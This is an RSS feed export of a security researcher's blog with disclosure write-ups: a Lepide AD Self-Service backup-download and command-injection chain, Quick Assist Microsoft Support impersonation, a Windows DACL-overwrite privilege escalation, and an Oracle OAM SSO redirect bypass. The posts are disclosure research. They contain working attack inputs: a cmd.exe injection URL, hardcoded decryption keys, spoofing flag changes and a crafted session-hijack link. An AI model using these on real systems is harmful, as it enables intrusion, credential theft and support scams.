<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[got 0day?]]></title><description><![CDATA[This blog will cover my progress on various topics of my security research. I hope this blog will encourage you to do your own research and share it with the world for a better tomorrow.]]></description><link>https://krbtgt.pw/</link><image><url>https://krbtgt.pw/favicon.png</url><title>got 0day?</title><link>https://krbtgt.pw/</link></image><generator>Ghost 3.36</generator><lastBuildDate>Thu, 23 Apr 2026 12:33:04 GMT</lastBuildDate><atom:link href="https://krbtgt.pw/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[(0Day) Lepide AD Self-Service - forced browsing to RCE]]></title><description><![CDATA[<!--kg-card-begin: markdown--><h1 id="tldr">TLDR</h1>
<p><strong>Lepide AD Self-Service</strong> (LADSS) is vulnerable to a forced browsing issue that allows an <strong>unauthenticated</strong> actor to <strong>download an encrypted backup</strong>, however the backup is encrypted with a static key that can be extracted from the application code.<br>
Successful decryption gives the actor access to cleartext credentials which can</p>]]></description><link>https://krbtgt.pw/lepide-adss-rce/</link><guid isPermaLink="false">6076c9a24b48053361fe3023</guid><category><![CDATA[ZDI-21-354]]></category><category><![CDATA[Lepide]]></category><category><![CDATA[RCE]]></category><category><![CDATA[Active Directory]]></category><dc:creator><![CDATA[⠝⠁⠃⠑⠑⠇ ⠁⠓⠍⠑⠙ (Nabeel Ahmed)]]></dc:creator><pubDate>Thu, 20 May 2021 11:47:34 GMT</pubDate><media:content url="https://krbtgt.pw/content/images/2021/05/bnner.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h1 id="tldr">TLDR</h1>
<img src="https://krbtgt.pw/content/images/2021/05/bnner.png" alt="(0Day) Lepide AD Self-Service - forced browsing to RCE"><p><strong>Lepide AD Self-Service</strong> (LADSS) is vulnerable to a forced browsing issue that allows an <strong>unauthenticated</strong> actor to <strong>download an encrypted backup</strong>, however the backup is encrypted with a static key that can be extracted from the application code.<br>
Successful decryption gives the actor access to cleartext credentials which can be used to access the administrative interface of ADSS. Once logged-in the actor can abuse a <strong>command injection vulnerability</strong> in the &quot;SMS Gateway settings&quot; resulting in <strong>Remote Command Execution as NT AUTHORITY\SYSTEM</strong>.</p>
<h1 id="intro">Intro</h1>
<p>This blog post discloses <strong>2 individual bugs</strong> that are being chained in order to achieve unauthenticated remote command execution. This command execution is most likely going to happen directly on a Active Directory Domain Controller or on a server with a Technical AD account with privileged access. Furthermore, this remote execution occurs with the highest possible local privileges possible namely as “NT AUTHORITY\SYSTEM”. Resulting in a remote compromise of an organizations AD.<br>
Below both vulnerabilities are explained separately and finally combined in the final PoC at the end.</p>
<h1 id="unauthenticatedfilebackupdownload">Unauthenticated File/Backup Download</h1>
<p>The Lepide web application runs on a Tomcat webserver with a .war file deployed onto it. As there is no obfuscation or any protection against reverse engineer the application, it’s fairly easy to the browse through the source code.<br>
As my common approach I started to look at the different functions and looked how the authentication or the sessions checks are done. I’ve discovered numerous functions that are missing or have the checks at the wrong place.<br>
One of those function would be the creation of a backup that could be imported afterwards.<br>
When you analyze/extract the “ROOT.war” file which is basically the web application archive of the Lepide Active Directory Self Service (LADSS) web application. The vulnerable code is located at “com.lepide.action.EnrollmentNotificationAction.class”.</p>
<p><img src="https://krbtgt.pw/content/images/2021/04/vuln_code_backup_marked.png" alt="(0Day) Lepide AD Self-Service - forced browsing to RCE"></p>
<p>The <strong>function</strong> that is ran is conveniently <strong>named “Backup”</strong> and as you can see there is no mention of a check being done whether this request was done through an active/authorized session.<br>
Comparing this with other functions in the same class we can see that on those the session is indeed validated before proceeding to perform the action. Such as “Restore Database” or “Restore Backup”.</p>
<p><img src="https://krbtgt.pw/content/images/2021/05/vuln_code_backup2_marked.png" alt="(0Day) Lepide AD Self-Service - forced browsing to RCE"></p>
<p>We could easily confirm this by performing the backup HTTP request without an active session (no cookies) as demonstrated below:</p>
<p><img src="https://krbtgt.pw/content/images/2021/05/burp.png" alt="(0Day) Lepide AD Self-Service - forced browsing to RCE"></p>
<p>However, with the backup file itself we’re not quite there yet. It seems this backup file is encrypted, when trying to open .zip file with a archive manager the user is prompted with a “file corrupted” message.</p>
<p><img src="https://krbtgt.pw/content/images/2021/05/image_2021-05-17_133702.png" alt="(0Day) Lepide AD Self-Service - forced browsing to RCE"><br>
In order to understand how this archive file is made up we need to dive deeper in the code of the “backup” function.</p>
<p><img src="https://krbtgt.pw/content/images/2021/05/image_2021-05-17_142507.png" alt="(0Day) Lepide AD Self-Service - forced browsing to RCE"></p>
<p>As seen above the zip archive stream is sent to the** “encrypt” function** with a <strong>key “piechidelta”</strong>.</p>
<p><img src="https://krbtgt.pw/content/images/2021/05/image_2021-05-17_142538.png" alt="(0Day) Lepide AD Self-Service - forced browsing to RCE"></p>
<p>Looking inside the “encrypt” function we can conclude the following:</p>
<ul>
<li>ZIP archive is <strong>encrypted using DES</strong> with key <strong>“piechidelta”</strong></li>
<li>Database contents are <strong>encrypted with AES</strong> with key <strong>“TheBestSecretKey”</strong></li>
</ul>
<p>We can reuse the code available to achieve decryption of the archive and the database content inside the ZIP archive.<br>
<strong>NOTE:</strong> Database contents in Lepide AD Self-Service 2018 and older are <strong>not encrypted</strong>!</p>
<p>Once decryption is complete we can extract the following info from the database:<br>
<img src="https://krbtgt.pw/content/images/2021/05/image_2021-05-17_141953.png" alt="(0Day) Lepide AD Self-Service - forced browsing to RCE"></p>
<ul>
<li>Admin login credentials for Lepide AD Self-Service Portal</li>
<li>Administrative AD user credentials that can update/reset AD passwords (usually domain admin credentials, not best practice, but most common)</li>
<li>Domain controller IP address</li>
</ul>
<p>Now we have administrative credentials to the portal as well as AD administrative credentials, this still doesn’t directly allow us to execute system commands.<br>
Now this is where vulnerability number 2 comes in.</p>
<h1 id="commandinjection">Command Injection</h1>
<p>I started looking inside the code if there were functions that would take user controlled input without sanitization. We found the <strong>function “send_test_sms”</strong>.</p>
<p><img src="https://krbtgt.pw/content/images/2021/05/image_2021-05-17_142813.png" alt="(0Day) Lepide AD Self-Service - forced browsing to RCE"></p>
<p>The function takes the value of the <font style="color:#00B0F0">HTTP GET parameter “prop”</font> and put it in <font style="color:#00B0F0">“strUserParameters”</font>. It then continues to use “&lt;&lt;;&gt;&gt;” as the delimiter to split the value inside the “prop” parameter and stores it in an array.<br>
If the first value in the array matches <font style="color:#00B050">“GSM Modem” or “SMS Gateway”</font> it will use those code blocks respectively, however if none of it matches it will assume run a different code block.<br>
This code blocks is executed when the first value in the <font style="color:#FF0000">“props” array</font> doesn’t match any given statement. It will continue to assume we would like to run a custom executable (<font style="color:#FF0000">props[1]</font>) and a its given command line parameters (<font style="color:#FF0000">props[2]</font>) and calls the function <font style="color:#FF0000">“runExecutableFile”</font>.</p>
<p><img src="https://krbtgt.pw/content/images/2021/05/image_2021-05-17_142916.png" alt="(0Day) Lepide AD Self-Service - forced browsing to RCE"></p>
<p>The <strong>“runExecutableFile” function</strong> is quite short and takes a String array and a message, all variables are directly controllable and not sanitized nor validated before being used in a command line. If the extension of the user provided filename ends with a .jar then Java is used to execute to run the command.<br>
Once we have this it quite easy to craft our payload and have it execute our own executable and our own command line arguments. We simply <strong>use path traversal “../”</strong> to move to our desired location.</p>
<p>The final HTTP GET request looks as follows:</p>
<p><code>http://&lt;LADDS_ADDRESS&gt;/SMSsetting.do?method=send_test_sms&amp;prop=XXXXXX&lt;&lt;;&gt;&gt;../../../../../../../Windows//SysWow64//cmd.exe&lt;&lt;;&gt;&gt;/C whoami &amp; &lt;&lt;;&gt;&gt;</code></p>
<h1 id="puttingitalltogetherpoc">Putting it all together (PoC)</h1>
<iframe width="560" height="315" src="https://www.youtube.com/embed/Dlc6CBeA25E" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
<p>Exploit code can be found <a href="https://github.com/rogue-kdc/LADSS">here</a>.</p>
<h1 id="workarounds">Workarounds</h1>
<p>The following workarounds have been identified that would decrease the likelihood of a possible attack:</p>
<ul>
<li>Block access via WAF to <code>http://yourLADSS/EnrollmentNotificationAction.do?method=Backup</code></li>
<li>Hide your LADSS behind a VPN and avoid exposing it publicly</li>
</ul>
<h1 id="timeline">Timeline</h1>
<p>This vulnerability is being disclosed publicly without a patch in accordance with the ZDI 120 day deadline.</p>
<ul>
<li>10/08/20 – ZDI reported the vulnerability to the vendor/ICS-CERT</li>
<li>02/10/21 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory on 02/18/21</li>
</ul>
<p>More information <a href="https://www.zerodayinitiative.com/advisories/ZDI-21-354/">here</a>.</p>
<h1 id="thanks">Thanks</h1>
<p>Thanks to my collegue Eric Schayes (<a href="https://twitter.com/EricSchayes">@EricSchayes</a>) for working on this with me and thanks to <a href="https://www.zerodayinitiative.com/advisories/ZDI-21-354/">Zero Day Initiative</a>.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[CVE-2020-16939: Windows Group Policy DACL Overwrite Privilege Escalation]]></title><link>https://krbtgt.pw/cve-2020-16939-windows-group-policy-dacl-overwrite-privilege-escalation/</link><guid isPermaLink="false">5f98bfe752012b3f2882ad93</guid><category><![CDATA[CVE-2020-16939]]></category><category><![CDATA[Privilege Escalation]]></category><category><![CDATA[Windows]]></category><category><![CDATA[Group Policy]]></category><dc:creator><![CDATA[⠝⠁⠃⠑⠑⠇ ⠁⠓⠍⠑⠙ (Nabeel Ahmed)]]></dc:creator><pubDate>Tue, 27 Oct 2020 20:16:22 GMT</pubDate><media:content url="https://krbtgt.pw/content/images/2020/10/frontimage.png" medium="image"/><content:encoded/></item><item><title><![CDATA[Impersonating Microsoft Support using Quick Assist]]></title><description><![CDATA[<!--kg-card-begin: markdown--><h2 id="tldr">TL;DR</h2>
<p>This vulnerability allows attackers to impersonate Microsoft Support via the built-in remote support tool of Windows 10 named &quot;Quick Assist&quot;.<br>
Microsoft decided <u>not to fix</u> it since it needs high level of social engineering to exploit this vulnerability.</p>
<h2 id="quickassistuserspoofingvulnfeature">Quick Assist User Spoofing (Vuln/Feature)</h2>
<p>As any</p>]]></description><link>https://krbtgt.pw/impersonating-microsoft-support-using-quick-assist/</link><guid isPermaLink="false">5f98bfe752012b3f2882ad92</guid><category><![CDATA[quick assist]]></category><category><![CDATA[ms support]]></category><dc:creator><![CDATA[⠝⠁⠃⠑⠑⠇ ⠁⠓⠍⠑⠙ (Nabeel Ahmed)]]></dc:creator><pubDate>Tue, 04 Jun 2019 16:16:52 GMT</pubDate><media:content url="https://krbtgt.pw/content/images/2019/06/11-1.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="tldr">TL;DR</h2>
<img src="https://krbtgt.pw/content/images/2019/06/11-1.png" alt="Impersonating Microsoft Support using Quick Assist"><p>This vulnerability allows attackers to impersonate Microsoft Support via the built-in remote support tool of Windows 10 named &quot;Quick Assist&quot;.<br>
Microsoft decided <u>not to fix</u> it since it needs high level of social engineering to exploit this vulnerability.</p>
<h2 id="quickassistuserspoofingvulnfeature">Quick Assist User Spoofing (Vuln/Feature)</h2>
<p>As any researcher other would do, I started looking at the interesting features Microsoft added to Windows 10. As you may recall, last year i've found a quite simple vulnerability in Microsoft's Remote Assistance tool which allowed users to ask for assistance. You can read all about it. <a href="https://krbtgt.pw/windows-remote-assistance-xxe-vulnerability/">here</a>.</p>
<p>So I stumbled upon &quot;Quick Assist&quot; I was wondering if it was just MSRA repackaged in a fancy name.<br>
I fired up Burp Suite and let everything pass through the proxy and started looking at the HTTP requests coming in.<br>
Once you startup &quot;Quick Assist&quot; it looks as follows:<br>
<img src="https://krbtgt.pw/content/images/2019/06/1.PNG" alt="Impersonating Microsoft Support using Quick Assist"><br>
You get 2 options, either provide assistance or request assistance.</p>
<p>An attacker/scammer would obviously like to &quot;assist&quot; another person. If we continue down that route you can see a bunch of HTTP requests going back and forth and you'll be finally asked to sign-in.</p>
<p>In order to be able to assist a person you'll have to sign-in/up with a microsoft account (@outlook.com,hotmail.com, live.com, ...), which can be created easily. Once you've logged in, Quick Assist will continue its HTTP requests (HINT: it's setting up an anonymous Skype Businness meeting room) and retrieve a security code which needs to be sent to the person/victim requiring assistance.<br>
<img src="https://krbtgt.pw/content/images/2019/06/2.PNG" alt="Impersonating Microsoft Support using Quick Assist"><br>
There are several ways to send this code as you can see above. Now here things get interesting, since a scammer would like to make the victim believe that he is genuinely someone from Microsoft providing support he can choose the option to send the code via email.<br>
Interesting enough this mail is delivered without any information regarding the person who  exactly is sending it. The sender of the mail is a legitimate Microsoft email address. Now this is the first step that makes the &quot;victim&quot; seem confident he/she is talking to a real Microsoft Support representative.<br>
<img src="https://krbtgt.pw/content/images/2019/06/3-1.PNG" alt="Impersonating Microsoft Support using Quick Assist"><br>
Above you can see the HTTP request, it's a JSON request with &quot;destination&quot; and &quot;code&quot; as the 2 parameters. <em>(FUN FACT: you can put pretty much anything in the &quot;code&quot; parameter value)</em><br>
<img src="https://krbtgt.pw/content/images/2019/06/4.PNG" alt="Impersonating Microsoft Support using Quick Assist"><br>
The victim will get an email that looks something like the screenshot above.</p>
<p>Now we simply wait for the victim to put in the code and the victim will get a &quot;waiting&quot; screen.<br>
<img src="https://krbtgt.pw/content/images/2019/06/5.PNG" alt="Impersonating Microsoft Support using Quick Assist"></p>
<p>The attacker/scammer's &quot;Quick Assist&quot; will wait for a reply from the &quot;remoteassistance.support.services.microsoft.com&quot; servers to initiate the next step of the process.<br>
After some HTTP calls the attacker is prompted with the following window:<br>
<img src="https://krbtgt.pw/content/images/2019/06/6.PNG" alt="Impersonating Microsoft Support using Quick Assist"></p>
<p>The attacker has the choice to either take full control of the remote computer or simply view the screen without controlling any input devices. In my opinion this is strange to give the &quot;helper&quot; (attacker/scammer) the option to choose what he wants to do with the &quot;victim&quot;.</p>
<p>The attacker/scammer will (most) likely choose the first option and simply take control of the victim's machine.<br>
Now we are reaching another interesting point within this whole process. After clicking on  &quot;continue&quot; Quick Assist will perform some additional HTTP requests and one of them looks like this:<br>
<img src="https://krbtgt.pw/content/images/2019/06/7-1.PNG" alt="Impersonating Microsoft Support using Quick Assist"><br>
I'll give you a minute to look at the above request and figure out what's wrong here.<br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<br><br>
<img src="https://krbtgt.pw/content/images/2019/06/7-1-1.PNG" alt="Impersonating Microsoft Support using Quick Assist"><br>
You've probably figured it out by now and noticed a very interesting parameter in this JSON request, namely <strong>&quot;userInfo&quot;</strong><br>
<strong>UserInfo</strong> contains some really interesting options:</p>
<ul>
<li>Email</li>
<li>FirstName</li>
<li>LastName</li>
<li>IsMicrosoft</li>
<li>IsMicrosoftSupport</li>
<li>CompanyName</li>
</ul>
<p>You're probably wondering what if you change these values? Well, that's what I did.<br>
I've changed my FirstName, LastName, IsMicrosoft, IsMicrosoftSupport and CompanyName parameters.<br>
Switching boolean flags from &quot;false to &quot;true&quot; for <strong>&quot;IsMicrosoft&quot;</strong> and <strong>&quot;IsMicrosoftSupport&quot;</strong>.<br>
Below you'll see the comparison between not changing those flags and changing them.<br>
<img src="https://krbtgt.pw/content/images/2019/06/11.png" alt="Impersonating Microsoft Support using Quick Assist"></p>
<p>As you can see above there is a slight difference in the prompt the &quot;victim&quot; receives. I'm sure you'll agree that the right one looks much more convincing <em>(apart from the name &quot;SupportMcSupportFace&quot;, which can be changed obviously!)</em></p>
<p>Once the &quot;victim&quot; clicks on <strong>&quot;Allow&quot;</strong> an screen sharing session is setup which is basically RDP over HTTPS using WebSockets.</p>
<p>There is also another parameter which I indicated in the previous screenshot which is <strong>&quot;promptuser&quot;</strong> which also takes a boolean flag and is by default set to &quot;true&quot; changing this to &quot;false&quot; simply bypasses the prompt message shown above and directly continues to  setting up the screen sharing session.</p>
<h2 id="conclusion">Conclusion</h2>
<p>After discovering this spoofing vulnerability/feature I've contacted MSRC and after almost 3 months, I've received the message they won't fix it since it requires high level of social engineering. Which I don't dispute by any means.<br>
However knowing how prevalent tech support scams are these days and are making money off of innocent people not knowing what they are getting themselves into.</p>
<p>This technique could be used by these tech support scammers and is way more convincing since the victims don't have to install anything (unlike current scams where they force victims to install Teamviewer or other screen sharing tools) everything from receiving the &quot;code&quot; up until the last step of asking for &quot;consent&quot; looks completely legitimate.</p>
<p>I hope Microsoft will consider putting a little effort on mitigating this issue so their platform can't be used to scam people.</p>
<h2 id="timeline">Timeline</h2>
<ul>
<li>April 15th 2019 (submission to MSRC Portal)</li>
<li>May 8th 2019 (Case opened &amp; assigned)</li>
<li>June 4th 2019 (Case closed &amp; Won't Fix)</li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[DACL Permissions Overwrite Privilege Escalation (CVE-2019-0841)]]></title><description><![CDATA[<!--kg-card-begin: markdown--><h2 id="tldr">TL;DR</h2>
<p>This vulnerability allows low privileged users to hijack file that are owned by NT AUTHORITY\SYSTEM by overwriting permissions on the targeted file. Successful exploitation results in &quot;Full Control&quot; permissions for the low privileged user.<br>
<img src="https://krbtgt.pw/content/images/2019/04/hijack.png" alt="alt"></p>
<h2 id="intro">Intro</h2>
<p>First of all I would like to <strong>thank fellow researchers</strong></p>]]></description><link>https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/</link><guid isPermaLink="false">5f98bfe752012b3f2882ad91</guid><category><![CDATA[Privilege Escalation]]></category><category><![CDATA[CVE-2019-0841]]></category><category><![CDATA[Windows Apps]]></category><category><![CDATA[DACL]]></category><dc:creator><![CDATA[⠝⠁⠃⠑⠑⠇ ⠁⠓⠍⠑⠙ (Nabeel Ahmed)]]></dc:creator><pubDate>Tue, 09 Apr 2019 16:43:00 GMT</pubDate><media:content url="https://krbtgt.pw/content/images/2019/04/Windows10abstract.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="tldr">TL;DR</h2>
<img src="https://krbtgt.pw/content/images/2019/04/Windows10abstract.png" alt="DACL Permissions Overwrite Privilege Escalation (CVE-2019-0841)"><p>This vulnerability allows low privileged users to hijack file that are owned by NT AUTHORITY\SYSTEM by overwriting permissions on the targeted file. Successful exploitation results in &quot;Full Control&quot; permissions for the low privileged user.<br>
<img src="https://krbtgt.pw/content/images/2019/04/hijack.png" alt="DACL Permissions Overwrite Privilege Escalation (CVE-2019-0841)"></p>
<h2 id="intro">Intro</h2>
<p>First of all I would like to <strong>thank fellow researchers</strong> for giving me inspiration to dive into this type research.</p>
<ul>
<li>James Forshaw (<a href="https://twitter.com/tiraniddo">@tiraniddo</a>) from Google Project Zero</li>
<li>Ryan Hanson (<a href="https://twitter.com/ryhanson">@ryHanson</a>) from Atredis Partners</li>
</ul>
<p>Some of their research that inspired me can be found here:</p>
<ul>
<li><a href="https://www.atredis.com/blog/cve-2018-0952-privilege-escalation-vulnerability-in-windows-standard-collector-service">https://www.atredis.com/blog/cve-2018-0952-privilege-escalation-vulnerability-in-windows-standard-collector-service</a></li>
<li><a href="https://www.atredis.com/blog/cylance-privilege-escalation-vulnerability">https://www.atredis.com/blog/cylance-privilege-escalation-vulnerability</a></li>
<li><a href="https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html">https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html</a></li>
<li><a href="https://googleprojectzero.blogspot.com/2015/08/windows-10hh-symbolic-link-mitigations.html">https://googleprojectzero.blogspot.com/2015/08/windows-10hh-symbolic-link-mitigations.html</a></li>
</ul>
<p>Now let's talk about this particular vulnerability. All Windows Apps have a <code>settings.dat</code> file which keeps track of the (registry) settings of the App. That file is a registry file which can be loaded into registry and modified there.<br>
However once you launch a Windows App such as Microsoft Edge the <code>settings.dat</code> file it is used by NT AUTHORITY\SYSTEM and as a low privileged user you have full access to that file.<br>
Now the question arises how can we abuse the privileged file access.</p>
<h1 id="vulnerability">Vulnerability</h1>
<p>Let's focus on the <code>settings.dat</code> file of Microsoft Edge.<br>
All Windows Apps user configuration files are stored under the current users' AppData folder.</p>
<center>`C:\Users\<username>\AppData\Local\Packages\<packagename>`</packagename></username></center>
![alt](/content/images/2019/04/Packages.PNG)
Windows 10 already has a number of default Apps installed as shown above.
Each package has a `settings.dat` file, as mentioned before this file is used by NT AUTHORITY\SYSTEM to writes any configuration changes.
Once the Windows App is started the system uses an `OpLock` operation (Exclusive Lock) to prevent other processes to use/access that file while the App is running. 
In our case when we start Microsoft Edge the `settings.dat` file is opened as NT AUTHORITY\SYSTEM, which can be seen in the screenshot below.
![alt](/content/images/2019/04/SetFileSecurity2.PNG)
Once opened, some basic integrity checks are performed in the following manner:
<ol>
  <li>Check file permissions</li>
    <ol>
      <li>If file permissions are incorrect, then correct the file permissions with the correct</li>
    </ol>
  <li>Read the file content</li>
    <ol>
      <li>If content is corrupted, then delete the file</li>
      <li>Reset the configuration by copying the settings template file from "C:\Windows\System32\settings.dat"</li>
    </ol>
  <li>Get "Exclusive Lock" on the newly copied file</li>
  <li>Proceed to start the Windows App</li>
</ol>
<p>This procedure can be seen in the following screenshot when performing our attack<br>
<img src="https://krbtgt.pw/content/images/2019/04/SetFileSecurity3.PNG" alt="DACL Permissions Overwrite Privilege Escalation (CVE-2019-0841)"><br>
<img src="https://krbtgt.pw/content/images/2019/04/SetFileSecurity4.png" alt="DACL Permissions Overwrite Privilege Escalation (CVE-2019-0841)"><br>
As mentioned before it first sets the correct file permissions during the <code>SetSecurityFile</code> operation after which it continues on reading the contents of the file, in our case the contents do not correspond to a correct <code>settings.dat</code> file. After which it deletes the file, copies the settings template file and proceeds with starting up the Windows App.<br>
Now most of these operations are performed by impersonating the current user access which prevent abuse of these operations as they won't be any different as performing these operations as the current user.<br>
<img src="https://krbtgt.pw/content/images/2019/04/Impersonation.png" alt="DACL Permissions Overwrite Privilege Escalation (CVE-2019-0841)"></p>
<p>We can use this behaviour to set the file permissions on &quot;any&quot; file (there are some pre-requisites, I'll come back to that later) by using hardlinks.<br>
Huge thanks to James Forshaw and Google P0 again for providing us with the <a href="https://github.com/googleprojectzero/symboliclink-testing-tools">SymbolicLink Testing Toolkit</a>. Using his toolkit we can create hardlinks to files where we want to have &quot;Full Control&quot; over as a regular user.</p>
<h1 id="exploit">Exploit</h1>
<p>We know that file permissions set on a hardlink will result changes on the original file.<br>
Below we will hijack the <code>HOSTS</code> file located at <code>C:\Windows\System32\drivers\etc\hosts</code>. As a regular user you don't have modify access to that file as seen below.<br>
<img src="https://krbtgt.pw/content/images/2019/04/hijack1.png" alt="DACL Permissions Overwrite Privilege Escalation (CVE-2019-0841)"><br>
I've written an exploit that automates the entire process of creating a hardlink and triggering the vulnerability. The result of a successful exploitation can be seen below.<br>
<img src="https://krbtgt.pw/content/images/2019/04/hijack2.png" alt="DACL Permissions Overwrite Privilege Escalation (CVE-2019-0841)"></p>
<ol>
<li>The exploit first checks if the targeted file exists, if it does it will check its permissions. Since we are using Microsoft Edge for this exploit it will kill Microsoft Edge in order to get access to the <code>settings.dat</code> file.</li>
<li>After Microsoft Edge is killed it will check for the &quot;setting.dat&quot; file and delete it in order to create a hardlink to the requested targeted file (in our case that was the <code>HOSTS</code> file)</li>
<li>Once a hardlink is created Microsoft Edge is fired up again to trigger the vulnerability. Concluding with a final check if indeed &quot;Full Control&quot; permissions have been set for the current user.</li>
</ol>
<p>As I mentioned previously above there are some pre-requisites you have to take into account before abusing this vulnerability. These are the following:</p>
<ul>
<li>NT AUTHORITY\SYSTEM should have &quot;Full Control&quot; over the targeted file</li>
<li>The low privileged user or the Users group should have &quot;Read/Execute&quot; rights</li>
<li>The &quot;Read/Execute&quot; rights should be inherited, explicit &quot;Read/Execute&quot; are not sufficient</li>
</ul>
<h1 id="poc">PoC</h1>
<p>PoC code can be found <a href="https://github.com/rogue-kdc">here</a>.</p>
<h1 id="videopoc">Video PoC</h1>
<iframe width="560" height="315" src="https://www.youtube.com/embed/vP468ZjJ3hU" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
This PoC video demonstrates the complete use of this vulnerability by using a DLL and injecting our own malicious code into it to gain Privilege Escalation using the Chrome Update Service.<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[The perfect SSO account takeover with Oracle OAM (CVE-2018-2739)]]></title><description><![CDATA[<!--kg-card-begin: markdown--><h2 id="tldr">TL;DR</h2>
<p>This weakness allows us to bypass the URL filtering on the RH parameter which could be used to hijack the session of any user when following a particularly crafted link. In summary, phishing heaven !</p>
<h2 id="intro">Intro</h2>
<p>Oracle Authentication Manager (OAM) 10G or OAM 11g with Webgates 10g parse SSO</p>]]></description><link>https://krbtgt.pw/sso-account-takeover-oracle-oam/</link><guid isPermaLink="false">5f98bfe752012b3f2882ad90</guid><category><![CDATA[Oracle]]></category><category><![CDATA[OAM]]></category><category><![CDATA[CVE-2018-2739]]></category><category><![CDATA[Oracle Authentication Manager]]></category><category><![CDATA[Session Hijacking]]></category><category><![CDATA[SSODomains]]></category><dc:creator><![CDATA[⠝⠁⠃⠑⠑⠇ ⠁⠓⠍⠑⠙ (Nabeel Ahmed)]]></dc:creator><pubDate>Tue, 17 Apr 2018 15:17:00 GMT</pubDate><media:content url="https://krbtgt.pw/content/images/2018/04/oracle_yo.PNG" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="tldr">TL;DR</h2>
<img src="https://krbtgt.pw/content/images/2018/04/oracle_yo.PNG" alt="The perfect SSO account takeover with Oracle OAM (CVE-2018-2739)"><p>This weakness allows us to bypass the URL filtering on the RH parameter which could be used to hijack the session of any user when following a particularly crafted link. In summary, phishing heaven !</p>
<h2 id="intro">Intro</h2>
<p>Oracle Authentication Manager (OAM) 10G or OAM 11g with Webgates 10g parse SSO cookies in an HTTP GET parameter.<br>
OAM <strong>sets a cookie</strong> based on the ‘<strong>obrareq.cgi</strong>’ parameters that are sent (see examples below)<br>
Once a user authenticates he/she will be redirected to the domain that was specified in the ‘<strong>RH</strong>’ parameter.<br>
The HTTP GET request will contain the ‘<strong>ObSSOCookie</strong>’ value as one of the parameters.<br>
Prior to this blog <a href="https://twitter.com/tgilis"><strong>Tom</strong></a> and <a href="https://twitter.com/NabeelAhmedBE"><strong>I</strong></a> already did some research in this area which can be found <a href="https://krbtgt.pw/oracle-oam-10g-session-hijacking/"><strong>here</strong></a>.<br>
Back then Oracle pointed out that this issue was related to a configuration issue and to <strong>prevent abuse the 'SSODomains' parameter should be defined</strong> in OAM or WebGates.<br>
<img src="https://krbtgt.pw/content/images/2018/04/sso_domains.PNG" alt="The perfect SSO account takeover with Oracle OAM (CVE-2018-2739)"></p>
<h2 id="bypassingthessodomainsrestriction">Bypassing the 'SSODomains' restriction</h2>
<p>We moved the focus of our research to bypassing the ‘SSODomains’ parameter as defined in the configuration which essentially results in the same weakness as <a href="https://krbtgt.pw/oracle-oam-10g-session-hijacking/">explained in the previous blog post</a>.<br>
<strong>After testing numerous possibilities we successfully managed to bypass the SSODomains restriction by using both weaknesses in Oracle OAM and how modern day browsers treat certain URI schemes.</strong></p>
<p>Details about the bypass are as follows:</p>
<h6 id="exampleencodedurl">Example encoded URL:</h6>
<p><a href="https://sso.somedomain.com/obrareq.cgi?wh%3DWEM-PUB-PROD1%20wu%3D%2F%20wo%3D1%20rh%3Dhttps%3A%2F%2Fwww.somedomain.com%3A@maliciousdomain.com%20ru%3D%252F%20rq%3Dreferer%253D%252F">https://sso.somedomain.com/obrareq.cgi?wh%3DWEM-PUB-PROD1 wu%3D%2F wo%3D1 rh%3Dhttps%3A%2F%2Fwww.somedomain.com%3A@maliciousdomain.com ru%3D%2F rq%3Dreferer%3D%2F</a></p>
<h6 id="exampledecodedurl">Example Decoded URL:</h6>
<p><a href="https://sso.somedomain.com/obrareq.cgi?wh=WEM-PUB-PROD1">https://sso.somedomain.com/obrareq.cgi?wh=WEM-PUB-PROD1</a> wu=/ wo=1 rh=https://www.somedomain.com:@maliciousdomain.com ru=/ rq=referer=/</p>
<h6 id="affectedrhparameter">Affected &quot;RH&quot; parameter</h6>
<p><strong>rh=https://www.somedomain.com</strong></p>
<p>The &quot;RH&quot; parameter is affected in the sense that there are some values that are accepted but not properly checked.<br>
In the example above the original domain (RH=redirect host) is <a href="https://www.somedomain.com">https://www.somedomain.com</a>.<br>
Modifying this domain as follows causes an error for example:</p>
<ul>
<li><a href="https://www.somedomain.com">https://www.somedomain.com</a>**<font color="red">;</font>** <strong>(semi-colon after the domain is not allowed)</strong></li>
<li><a href="https://www.somedomain.com">https://www.somedomain.com</a>**<font color="red">/</font>** <strong>(forward slash is not allowed)</strong></li>
</ul>
<p>After testing we found the following (URL encoded) values seem to be working (this list is not a definitive list!!):</p>
<ul>
<li><font color="lime">%3A</font> (encoded value for a colon)</li>
<li><font color="lime">%20</font> (space is allowed)</li>
<li><font color="lime">%3D</font> (equal sign is allowed)</li>
<li>…</li>
</ul>
